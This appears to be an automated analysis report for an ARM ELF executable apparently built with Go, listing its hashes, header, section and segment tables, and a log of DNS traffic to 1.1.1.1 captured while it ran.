SHA256:	668e2cdc076b620be68a4d5aa2ed14d2fa9b48b556f0e8f69548d8a972436155
SHA512:	1eb84b880900795da9bb834e88422c8a81bd83f7fb0dcdf090f8b178b21e486e0010126bd249c84cf2b2f6dcad3fc0597acad073b299512fba8f9f02ef0c4767
SSDEEP:	24576:J1rMILphWsdRm6vM7lUVJtq8wfe9OqbVgYQ3k48jtIMoG34RJnWVh1BPnjKqZdtX:JVfjmRMo2T1
TLSH:	73A5F857B8918552C4E42637BCBE81C833635EB99B8663666D04FE3C3ABF2D90E35314
File Content Preview:	.ELF..............(.........4...........4. ...(.........4...4...4...................................d...d............................h...h...........................k...k...........................K..............Q.td...............................e.......

Static ELF Info

ELF header
Class:	ELF32
Data:	2's complement, little endian
Version:	1 (current)
Machine:	ARM
Version Number:	0x1
Type:	EXEC (Executable file)
OS/ABI:	UNIX - System V
ABI Version:	0
Entry Point Address:	0x7fbdc
Flags:	0x5000002
ELF Header Size:	52
Program Header Offset:	52
Program Header Size:	32
Number of Program Headers:	7
Section Header Offset:	276
Section Header Size:	40
Number of Section Headers:	14
Header String Table Index:	3

Sections

Name	Type	Address	Offset	Size	EntSize	Flags	Flags Description	Align
	NULL	0x0	0x0	0x0	0x0	0x0		0
.text	PROGBITS	0x11000	0x1000	0xf5818	0x0	0x6	AX	4
.rodata	PROGBITS	0x110000	0x100000	0x49349	0x0	0x2	A	8
.shstrtab	STRTAB	0x0	0x149350	0x98	0x0	0x0		1
.typelink	PROGBITS	0x1593e8	0x1493e8	0x8dc	0x0	0x2	A	8
.itablink	PROGBITS	0x159cc8	0x149cc8	0x120	0x0	0x2	A	8
.gosymtab	PROGBITS	0x159de8	0x149de8	0x0	0x0	0x2	A	1
.gopclntab	PROGBITS	0x159de8	0x149de8	0x8cda4	0x0	0x2	A	8
.go.buildinfo	PROGBITS	0x1f0000	0x1e0000	0xf0	0x0	0x3	WA	16
.noptrdata	PROGBITS	0x1f00f0	0x1e00f0	0x10a6c	0x0	0x3	WA	8
.data	PROGBITS	0x200b60	0x1f0b60	0x3fb0	0x0	0x3	WA	8
.bss	NOBITS	0x204b10	0x1f4b10	0x10974	0x0	0x3	WA	8
.noptrbss	NOBITS	0x215488	0x205488	0x4390	0x0	0x3	WA	8
.note.go.buildid	NOTE	0x10f9c	0xf9c	0x64	0x0	0x2	A	4

Program Segments

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align	Section Mappings
PHDR	0x34	0x10034	0x10034	0xe0	0xe0	2.2369	0x4	R	0x10000
NOTE	0xf9c	0x10f9c	0x10f9c	0x64	0x64	5.3572	0x4	R	0x4	.note.go.buildid
LOAD	0x0	0x10000	0x10000	0xf6818	0xf6818	5.6615	0x5	R E	0x10000	.text .note.go.buildid
LOAD	0x100000	0x110000	0x110000	0xd6b8c	0xd6b8c	5.4742	0x4	R	0x10000	.rodata .typelink .itablink .gosymtab .gopclntab
LOAD	0x1e0000	0x1f0000	0x1f0000	0x14b10	0x29818	5.2308	0x6	RW	0x10000	.go.buildinfo .noptrdata .data .bss .noptrbss
GNU_STACK	0x0	0x0	0x0	0x0	0x0	0.0000	0x6	RW	0x4
LOOS+5041580	0x0	0x0	0x0	0x0	0x0	0.0000	0x2a00		0x4

Network Behavior

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 2, 2024 03:56:45.690934896 CET	45030	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:56:45.695969105 CET	53	45030	1.1.1.1	192.168.2.15
Nov 2, 2024 03:56:45.696027040 CET	45030	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:56:45.696073055 CET	45030	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:56:45.700918913 CET	53	45030	1.1.1.1	192.168.2.15
Nov 2, 2024 03:56:46.359401941 CET	53	45030	1.1.1.1	192.168.2.15
Nov 2, 2024 03:56:46.359536886 CET	45030	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:56:56.324399948 CET	53	45030	1.1.1.1	192.168.2.15
Nov 2, 2024 03:56:56.324583054 CET	45030	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:56:56.330198050 CET	53	45030	1.1.1.1	192.168.2.15
Nov 2, 2024 03:57:02.747073889 CET	45060	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:57:02.751998901 CET	53	45060	1.1.1.1	192.168.2.15
Nov 2, 2024 03:57:02.752079964 CET	45060	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:57:02.752079964 CET	45060	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:57:02.756946087 CET	53	45060	1.1.1.1	192.168.2.15
Nov 2, 2024 03:57:03.386111975 CET	53	45060	1.1.1.1	192.168.2.15
Nov 2, 2024 03:57:03.386291981 CET	45060	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:57:07.734628916 CET	45060	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:57:07.739392042 CET	53	45060	1.1.1.1	192.168.2.15
Nov 2, 2024 03:57:07.897994041 CET	53	45060	1.1.1.1	192.168.2.15
Nov 2, 2024 03:57:07.898062944 CET	45060	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:57:12.447105885 CET	45060	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:57:12.451889038 CET	53	45060	1.1.1.1	192.168.2.15
Nov 2, 2024 03:57:12.610538960 CET	53	45060	1.1.1.1	192.168.2.15
Nov 2, 2024 03:57:12.610646009 CET	45060	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:57:14.741942883 CET	45060	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:57:14.746814966 CET	53	45060	1.1.1.1	192.168.2.15
Nov 2, 2024 03:57:15.109061003 CET	53	45060	1.1.1.1	192.168.2.15
Nov 2, 2024 03:57:15.109142065 CET	45060	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:57:16.236143112 CET	45060	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:57:16.240931034 CET	53	45060	1.1.1.1	192.168.2.15
Nov 2, 2024 03:57:16.359838009 CET	53	45060	1.1.1.1	192.168.2.15
Nov 2, 2024 03:57:16.359956026 CET	45060	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:57:17.685966969 CET	45060	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:57:17.690848112 CET	53	45060	1.1.1.1	192.168.2.15
Nov 2, 2024 03:57:17.836589098 CET	53	45060	1.1.1.1	192.168.2.15
Nov 2, 2024 03:57:17.836867094 CET	45060	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:57:27.837587118 CET	53	45060	1.1.1.1	192.168.2.15
Nov 2, 2024 03:57:27.837810993 CET	45060	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:57:27.842669010 CET	53	45060	1.1.1.1	192.168.2.15
Nov 2, 2024 03:57:28.124994040 CET	45104	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:57:28.135050058 CET	53	45104	1.1.1.1	192.168.2.15
Nov 2, 2024 03:57:28.135111094 CET	45104	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:57:28.135164022 CET	45104	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:57:28.143398046 CET	53	45104	1.1.1.1	192.168.2.15
Nov 2, 2024 03:57:28.969317913 CET	53	45104	1.1.1.1	192.168.2.15
Nov 2, 2024 03:57:28.969429016 CET	45104	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:57:32.349016905 CET	45104	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:57:32.353916883 CET	53	45104	1.1.1.1	192.168.2.15
Nov 2, 2024 03:57:32.474792004 CET	53	45104	1.1.1.1	192.168.2.15
Nov 2, 2024 03:57:32.475008011 CET	45104	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:57:36.886998892 CET	45104	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:57:36.891788960 CET	53	45104	1.1.1.1	192.168.2.15
Nov 2, 2024 03:57:37.054233074 CET	53	45104	1.1.1.1	192.168.2.15
Nov 2, 2024 03:57:37.054322004 CET	45104	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:57:45.476691008 CET	45104	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:57:45.481460094 CET	53	45104	1.1.1.1	192.168.2.15
Nov 2, 2024 03:57:45.603444099 CET	53	45104	1.1.1.1	192.168.2.15
Nov 2, 2024 03:57:45.603562117 CET	45104	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:57:46.709902048 CET	45104	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:57:46.714750051 CET	53	45104	1.1.1.1	192.168.2.15
Nov 2, 2024 03:57:47.078172922 CET	53	45104	1.1.1.1	192.168.2.15
Nov 2, 2024 03:57:47.078360081 CET	45104	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:57:51.585056067 CET	45104	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:57:51.589982986 CET	53	45104	1.1.1.1	192.168.2.15
Nov 2, 2024 03:57:51.710535049 CET	53	45104	1.1.1.1	192.168.2.15
Nov 2, 2024 03:57:51.710683107 CET	45104	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:57:57.145673990 CET	45104	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:57:57.150509119 CET	53	45104	1.1.1.1	192.168.2.15
Nov 2, 2024 03:57:57.272608995 CET	53	45104	1.1.1.1	192.168.2.15
Nov 2, 2024 03:57:57.272713900 CET	45104	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:58:04.639934063 CET	45104	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:58:04.644726038 CET	53	45104	1.1.1.1	192.168.2.15
Nov 2, 2024 03:58:04.766351938 CET	53	45104	1.1.1.1	192.168.2.15
Nov 2, 2024 03:58:04.766439915 CET	45104	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:58:05.996364117 CET	45104	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:58:06.001149893 CET	53	45104	1.1.1.1	192.168.2.15
Nov 2, 2024 03:58:06.123567104 CET	53	45104	1.1.1.1	192.168.2.15
Nov 2, 2024 03:58:06.123636007 CET	45104	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:58:09.274682045 CET	45104	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:58:09.279500961 CET	53	45104	1.1.1.1	192.168.2.15
Nov 2, 2024 03:58:09.400352955 CET	53	45104	1.1.1.1	192.168.2.15
Nov 2, 2024 03:58:09.400423050 CET	45104	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:58:10.422338009 CET	45104	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:58:10.427158117 CET	53	45104	1.1.1.1	192.168.2.15
Nov 2, 2024 03:58:10.548708916 CET	53	45104	1.1.1.1	192.168.2.15
Nov 2, 2024 03:58:10.548803091 CET	45104	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:58:16.159998894 CET	45104	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:58:16.164861917 CET	53	45104	1.1.1.1	192.168.2.15
Nov 2, 2024 03:58:16.285422087 CET	53	45104	1.1.1.1	192.168.2.15
Nov 2, 2024 03:58:16.285536051 CET	45104	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:58:19.648327112 CET	45104	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:58:19.653147936 CET	53	45104	1.1.1.1	192.168.2.15
Nov 2, 2024 03:58:19.773889065 CET	53	45104	1.1.1.1	192.168.2.15
Nov 2, 2024 03:58:19.773971081 CET	45104	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:58:27.565077066 CET	45104	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:58:27.569875956 CET	53	45104	1.1.1.1	192.168.2.15
Nov 2, 2024 03:58:27.691529036 CET	53	45104	1.1.1.1	192.168.2.15
Nov 2, 2024 03:58:27.691634893 CET	45104	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:58:37.197933912 CET	45104	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:58:37.202722073 CET	53	45104	1.1.1.1	192.168.2.15
Nov 2, 2024 03:58:37.324810982 CET	53	45104	1.1.1.1	192.168.2.15
Nov 2, 2024 03:58:37.325025082 CET	45104	53	192.168.2.15	1.1.1.1

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 2, 2024 03:56:42.089231968 CET	38890	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:56:42.091625929 CET	51884	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:56:42.095922947 CET	53	38890	1.1.1.1	192.168.2.15
Nov 2, 2024 03:56:42.098289013 CET	53	51884	1.1.1.1	192.168.2.15
Nov 2, 2024 03:56:42.115063906 CET	59608	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:56:42.116313934 CET	39515	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:56:42.204349995 CET	53	39515	1.1.1.1	192.168.2.15
Nov 2, 2024 03:56:42.204483032 CET	39515	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:56:42.208834887 CET	53	59608	1.1.1.1	192.168.2.15
Nov 2, 2024 03:56:42.208923101 CET	59608	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:56:42.211289883 CET	53	39515	1.1.1.1	192.168.2.15
Nov 2, 2024 03:56:42.215694904 CET	53	59608	1.1.1.1	192.168.2.15
Nov 2, 2024 03:56:43.226552010 CET	37928	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:56:43.227932930 CET	53712	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:56:43.314618111 CET	53	37928	1.1.1.1	192.168.2.15
Nov 2, 2024 03:56:43.314872026 CET	37928	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:56:43.316490889 CET	53	53712	1.1.1.1	192.168.2.15
Nov 2, 2024 03:56:43.316638947 CET	53712	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:56:43.321676970 CET	53	37928	1.1.1.1	192.168.2.15
Nov 2, 2024 03:56:43.323474884 CET	53	53712	1.1.1.1	192.168.2.15
Nov 2, 2024 03:56:44.335306883 CET	37213	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:56:44.335525036 CET	43491	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:56:44.423754930 CET	53	37213	1.1.1.1	192.168.2.15
Nov 2, 2024 03:56:44.423935890 CET	37213	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:56:44.424947977 CET	53	43491	1.1.1.1	192.168.2.15
Nov 2, 2024 03:56:44.425055981 CET	43491	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:56:44.430402994 CET	53	37213	1.1.1.1	192.168.2.15
Nov 2, 2024 03:56:44.431583881 CET	53	43491	1.1.1.1	192.168.2.15
Nov 2, 2024 03:56:45.440056086 CET	52766	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:56:45.442922115 CET	53304	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:56:45.532069921 CET	53	53304	1.1.1.1	192.168.2.15
Nov 2, 2024 03:56:45.532318115 CET	53304	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:56:45.539890051 CET	53	53304	1.1.1.1	192.168.2.15
Nov 2, 2024 03:56:45.684010029 CET	53	52766	1.1.1.1	192.168.2.15
Nov 2, 2024 03:56:45.684179068 CET	52766	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:56:45.690772057 CET	53	52766	1.1.1.1	192.168.2.15
Nov 2, 2024 03:56:47.368201017 CET	51001	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:56:47.368772030 CET	45213	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:56:47.579621077 CET	53	51001	1.1.1.1	192.168.2.15
Nov 2, 2024 03:56:47.580143929 CET	51001	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:56:47.588390112 CET	53	51001	1.1.1.1	192.168.2.15
Nov 2, 2024 03:56:47.686847925 CET	53	45213	1.1.1.1	192.168.2.15
Nov 2, 2024 03:56:47.687037945 CET	45213	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:56:47.694539070 CET	53	45213	1.1.1.1	192.168.2.15
Nov 2, 2024 03:56:48.701716900 CET	40584	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:56:48.704425097 CET	59236	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:56:48.712760925 CET	53	59236	1.1.1.1	192.168.2.15
Nov 2, 2024 03:56:48.712913036 CET	59236	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:56:48.720489025 CET	53	59236	1.1.1.1	192.168.2.15
Nov 2, 2024 03:56:48.794210911 CET	53	40584	1.1.1.1	192.168.2.15
Nov 2, 2024 03:56:48.794533968 CET	40584	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:56:48.801068068 CET	53	40584	1.1.1.1	192.168.2.15
Nov 2, 2024 03:56:49.809952021 CET	56547	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:56:49.810448885 CET	37010	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:56:49.817115068 CET	53	56547	1.1.1.1	192.168.2.15
Nov 2, 2024 03:56:49.817320108 CET	56547	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:56:49.824107885 CET	53	56547	1.1.1.1	192.168.2.15
Nov 2, 2024 03:56:49.902362108 CET	53	37010	1.1.1.1	192.168.2.15
Nov 2, 2024 03:56:49.902504921 CET	37010	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:56:49.909210920 CET	53	37010	1.1.1.1	192.168.2.15
Nov 2, 2024 03:56:50.916783094 CET	51639	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:56:50.918472052 CET	59078	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:56:50.923687935 CET	53	51639	1.1.1.1	192.168.2.15
Nov 2, 2024 03:56:50.923816919 CET	51639	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:56:50.930458069 CET	53	51639	1.1.1.1	192.168.2.15
Nov 2, 2024 03:56:51.129616976 CET	53	59078	1.1.1.1	192.168.2.15
Nov 2, 2024 03:56:51.129880905 CET	59078	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:56:51.136665106 CET	53	59078	1.1.1.1	192.168.2.15
Nov 2, 2024 03:56:52.144366980 CET	35933	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:56:52.145082951 CET	50080	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:56:52.239595890 CET	53	35933	1.1.1.1	192.168.2.15
Nov 2, 2024 03:56:52.239846945 CET	35933	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:56:52.239986897 CET	53	50080	1.1.1.1	192.168.2.15
Nov 2, 2024 03:56:52.240056038 CET	50080	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:56:52.246391058 CET	53	35933	1.1.1.1	192.168.2.15
Nov 2, 2024 03:56:52.246606112 CET	53	50080	1.1.1.1	192.168.2.15
Nov 2, 2024 03:56:53.253268003 CET	42553	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:56:53.253410101 CET	36451	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:56:53.260370970 CET	53	42553	1.1.1.1	192.168.2.15
Nov 2, 2024 03:56:53.260473967 CET	42553	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:56:53.260504007 CET	53	36451	1.1.1.1	192.168.2.15
Nov 2, 2024 03:56:53.260566950 CET	36451	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:56:53.267045021 CET	53	36451	1.1.1.1	192.168.2.15
Nov 2, 2024 03:56:53.267136097 CET	53	42553	1.1.1.1	192.168.2.15
Nov 2, 2024 03:56:54.275136948 CET	59242	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:56:54.277071953 CET	50212	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:56:54.365289927 CET	53	50212	1.1.1.1	192.168.2.15
Nov 2, 2024 03:56:54.365483999 CET	50212	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:56:54.366992950 CET	53	59242	1.1.1.1	192.168.2.15
Nov 2, 2024 03:56:54.367165089 CET	59242	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:56:54.372117996 CET	53	50212	1.1.1.1	192.168.2.15
Nov 2, 2024 03:56:54.374017000 CET	53	59242	1.1.1.1	192.168.2.15
Nov 2, 2024 03:56:55.381351948 CET	60900	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:56:55.383619070 CET	53945	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:56:55.390638113 CET	53	53945	1.1.1.1	192.168.2.15
Nov 2, 2024 03:56:55.390753984 CET	53945	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:56:55.397324085 CET	53	53945	1.1.1.1	192.168.2.15
Nov 2, 2024 03:56:55.473798990 CET	53	60900	1.1.1.1	192.168.2.15
Nov 2, 2024 03:56:55.473938942 CET	60900	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:56:55.480601072 CET	53	60900	1.1.1.1	192.168.2.15
Nov 2, 2024 03:56:56.491914034 CET	47639	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:56:56.494548082 CET	47839	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:56:56.499214888 CET	53	47639	1.1.1.1	192.168.2.15
Nov 2, 2024 03:56:56.499330997 CET	47639	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:56:56.501727104 CET	53	47839	1.1.1.1	192.168.2.15
Nov 2, 2024 03:56:56.501812935 CET	47839	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:56:56.505834103 CET	53	47639	1.1.1.1	192.168.2.15
Nov 2, 2024 03:56:56.509320021 CET	53	47839	1.1.1.1	192.168.2.15
Nov 2, 2024 03:56:57.519509077 CET	41360	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:56:57.519645929 CET	42825	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:56:57.607742071 CET	53	42825	1.1.1.1	192.168.2.15
Nov 2, 2024 03:56:57.607991934 CET	42825	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:56:57.608231068 CET	53	41360	1.1.1.1	192.168.2.15
Nov 2, 2024 03:56:57.608352900 CET	41360	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:56:57.614485979 CET	53	42825	1.1.1.1	192.168.2.15
Nov 2, 2024 03:56:57.614918947 CET	53	41360	1.1.1.1	192.168.2.15
Nov 2, 2024 03:56:58.627624035 CET	41572	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:56:58.630050898 CET	59036	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:56:58.634378910 CET	53	41572	1.1.1.1	192.168.2.15
Nov 2, 2024 03:56:58.634474039 CET	41572	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:56:58.640919924 CET	53	41572	1.1.1.1	192.168.2.15
Nov 2, 2024 03:56:58.955229998 CET	53	59036	1.1.1.1	192.168.2.15
Nov 2, 2024 03:56:58.955482006 CET	59036	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:56:58.961972952 CET	53	59036	1.1.1.1	192.168.2.15
Nov 2, 2024 03:56:59.972291946 CET	41775	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:56:59.972960949 CET	44349	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:57:00.061259031 CET	53	44349	1.1.1.1	192.168.2.15
Nov 2, 2024 03:57:00.061438084 CET	44349	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:57:00.068133116 CET	53	44349	1.1.1.1	192.168.2.15
Nov 2, 2024 03:57:00.299206018 CET	53	41775	1.1.1.1	192.168.2.15
Nov 2, 2024 03:57:00.299536943 CET	41775	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:57:00.306143999 CET	53	41775	1.1.1.1	192.168.2.15
Nov 2, 2024 03:57:01.318387985 CET	53227	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:57:01.318727016 CET	43240	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:57:01.408377886 CET	53	53227	1.1.1.1	192.168.2.15
Nov 2, 2024 03:57:01.408663034 CET	53227	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:57:01.415138006 CET	53	43240	1.1.1.1	192.168.2.15
Nov 2, 2024 03:57:01.415155888 CET	53	53227	1.1.1.1	192.168.2.15
Nov 2, 2024 03:57:01.415254116 CET	43240	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:57:01.422051907 CET	53	43240	1.1.1.1	192.168.2.15
Nov 2, 2024 03:57:02.442219019 CET	54979	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:57:02.442292929 CET	43994	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:57:02.449332952 CET	53	54979	1.1.1.1	192.168.2.15
Nov 2, 2024 03:57:02.449476957 CET	54979	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:57:02.456052065 CET	53	54979	1.1.1.1	192.168.2.15
Nov 2, 2024 03:57:02.740021944 CET	53	43994	1.1.1.1	192.168.2.15
Nov 2, 2024 03:57:02.740288973 CET	43994	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:57:02.746942043 CET	53	43994	1.1.1.1	192.168.2.15
Nov 2, 2024 03:57:04.397020102 CET	60568	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:57:04.397425890 CET	45336	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:57:04.485279083 CET	53	60568	1.1.1.1	192.168.2.15
Nov 2, 2024 03:57:04.485491991 CET	60568	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:57:04.490870953 CET	53	45336	1.1.1.1	192.168.2.15
Nov 2, 2024 03:57:04.490967035 CET	45336	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:57:04.493020058 CET	53	60568	1.1.1.1	192.168.2.15
Nov 2, 2024 03:57:04.498410940 CET	53	45336	1.1.1.1	192.168.2.15
Nov 2, 2024 03:57:05.506309986 CET	52985	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:57:05.507908106 CET	36560	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:57:05.514980078 CET	53	36560	1.1.1.1	192.168.2.15
Nov 2, 2024 03:57:05.515100956 CET	36560	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:57:05.521600962 CET	53	36560	1.1.1.1	192.168.2.15
Nov 2, 2024 03:57:05.598397970 CET	53	52985	1.1.1.1	192.168.2.15
Nov 2, 2024 03:57:05.598562956 CET	52985	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:57:05.605129957 CET	53	52985	1.1.1.1	192.168.2.15
Nov 2, 2024 03:57:06.613071918 CET	58710	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:57:06.613120079 CET	42511	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:57:06.705168962 CET	53	42511	1.1.1.1	192.168.2.15
Nov 2, 2024 03:57:06.705306053 CET	42511	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:57:06.706090927 CET	53	58710	1.1.1.1	192.168.2.15
Nov 2, 2024 03:57:06.706170082 CET	58710	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:57:06.712141991 CET	53	42511	1.1.1.1	192.168.2.15
Nov 2, 2024 03:57:06.712996960 CET	53	58710	1.1.1.1	192.168.2.15
Nov 2, 2024 03:57:07.721282005 CET	49633	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:57:07.721848011 CET	45398	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:57:07.727957010 CET	53	49633	1.1.1.1	192.168.2.15
Nov 2, 2024 03:57:07.728051901 CET	49633	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:57:07.734544039 CET	53	49633	1.1.1.1	192.168.2.15
Nov 2, 2024 03:57:07.817923069 CET	53	45398	1.1.1.1	192.168.2.15
Nov 2, 2024 03:57:07.818114042 CET	45398	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:57:07.824551105 CET	53	45398	1.1.1.1	192.168.2.15
Nov 2, 2024 03:57:08.906095982 CET	37047	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:57:08.906430006 CET	55788	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:57:08.998522043 CET	53	37047	1.1.1.1	192.168.2.15
Nov 2, 2024 03:57:08.998692989 CET	37047	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:57:08.999469995 CET	53	55788	1.1.1.1	192.168.2.15
Nov 2, 2024 03:57:08.999548912 CET	55788	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:57:09.006397009 CET	53	37047	1.1.1.1	192.168.2.15
Nov 2, 2024 03:57:09.007323980 CET	53	55788	1.1.1.1	192.168.2.15
Nov 2, 2024 03:57:10.016782045 CET	57425	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:57:10.017806053 CET	58872	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:57:10.023883104 CET	53	57425	1.1.1.1	192.168.2.15
Nov 2, 2024 03:57:10.024015903 CET	57425	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:57:10.024707079 CET	53	58872	1.1.1.1	192.168.2.15
Nov 2, 2024 03:57:10.024786949 CET	58872	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:57:10.030486107 CET	53	57425	1.1.1.1	192.168.2.15
Nov 2, 2024 03:57:10.031199932 CET	53	58872	1.1.1.1	192.168.2.15
Nov 2, 2024 03:57:11.042428970 CET	39684	53	192.168.2.15	1.1.1.1
Nov 2, 2024 03:57:11.042721033 CET	53952	53	192.168.2.15	1.1.1.1
